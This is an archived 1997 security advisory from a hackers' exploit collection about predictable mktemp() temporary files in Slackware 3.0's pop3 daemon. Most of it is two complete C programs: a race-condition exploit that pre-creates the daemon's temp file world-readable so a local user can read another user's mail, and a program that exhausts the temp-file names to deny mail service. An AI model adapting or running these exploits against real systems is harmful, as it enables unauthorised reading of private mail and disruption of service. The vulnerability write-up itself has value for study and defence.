For Beginners & Professional Hackers/cd.iso/hackers/exploits/linux/linux-po

Text File | 1997-02-23 | 4.4 KB | 146 lines

   As explained before in the mailx security post, there is a problem with

usage of mktemp() in many programs.  This is a follow-up to that, demonstrating

the generic denial of service attack and a race condition attack on linux's

Slackware 3.0 pop3 mail daemon.  Refer to the original mailx post for

information on the security concerns with the use of mktemp().

   Linux's /usr/sbin/in.pop3d contains a mktemp() race condition, exploitable

when pop client connects to the machine at the point a correct password for

a user is entered.  This allows you to read the contents of the mail spool of

a user when they connect with a pop client.



                   Program: pop3d (/usr/sbin/in.pop3d)

Affected Operating Systems: linux - Slackware 3.0 with pop3d enabled

              Requirements: account on system, target user uses pop client

           Temporary Patch: disable pop3d

       Security Compromise: any user with an account can read mail of a user

                            using a pop client to read mail.

                    Author: Dave M. ([e-mail])

                  Synopsis: The predictability of mktemp() is exploited to

                            create the temporary files after the filenames

                            have been determined but before they are actually

                            created, allowing the mail being dumped to those

                            temporary files to be read by the creator of the

                            files.



pop3d-exploit.c:

/* This program creates temporary files used by in.pop3d (/usr/sbin/in.pop3d

   under Slackware 3.0), which can then be read by the program.

   This race condition is NOT always successful, it may take extreme conditions

   to ensure a high probability of success.



   Dave M. ([e-mail])

 */



#include <stdio.h>

#include <sys/stat.h>

#include <sys/types.h>

#include <fcntl.h>



main(int argc, char **argv)

{

  int race;

  int i;

  char fname[80], tmpf[80];    /* hold filename */



  umask(0);



  if(argc<1)

    {

      printf("pop3 racer\nSyntax: %s process-id\n",argv[0]);

      return -1;

    }



  /* create tmp file to race creating */

  strcpy(tmpf,"/tmp/pop3");

  for(i=strlen(argv[1]);i<6;i++)

    strcat(tmpf,"0");

  strcat(tmpf,argv[1]);

  tmpf[9] = 'a';



  race = creat(tmpf,S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH);



  while(1)

    {

      rename(tmpf,"/tmp/pop.exploit");

      if(rename("/tmp/pop.exploit",tmpf) < 0)

    {

      printf("race lost - file created.\n"); /* catch 1/2 the losses */

      break;

    }

    }

}



                   Program: Any with termination on mktemp() failure

Affected Operating Systems: Any with predictable mktemp() return values

              Requirements: write access to directory temp files written to

       Security Compromise: denial of service

                    Author: Dave M. ([e-mail])

                  Synopsis: Many operating systems have an extremely limited

                            temporary file creation algorithm, which results

                            in denial of service attacks on any program that

                            uses them exceedingly easy.





deny-mktemp.c:

/* This programs opens the complete set of temporary files tested with mktemp()

   for a given template (with 6 X's), usually resulting in the program

   terminating upon failure to find an open file.  In pop3d, this prevents a

   pop client from reading their mail.



   Dave M. ([e-mail])

*/



#include <unistd.h>

#include <stdio.h>

#include <sys/types.h>

#include <sys/stat.h>

#include <fcntl.h>



/* template found in program's header file, minus X's */

#define TEMPLATE "/tmp/pop3"



main(int argc, char **argv)

{

 long int i,j;

 char fname[20];



 if(argc<2)

   {

     printf("Syntax: %s process-id\n");

     return -1;

   }



  j = strlen(TEMPLATE);



  strcpy(fname,TEMPLATE);

  for(i=strlen(argv[1]);i<6;i++)

    strcat(fname,"0");

  strcat(fname,argv[1]);



 for(i=0;i<26;i++)

   {

     fname[j] = 'a' + i;

     creat(fname,O_WRONLY | O_CREAT);

   }



 for(i=0;i<26;i++)

   {

     fname[j] = 'A' + i;

     creat(fname,O_WRONLY | O_CREAT);

   }



 for(i=0;i<9;i++)

   {

     fname[j] = '0' + i;

     creat(fname,O_WRONLY | O_CREAT);

   }



}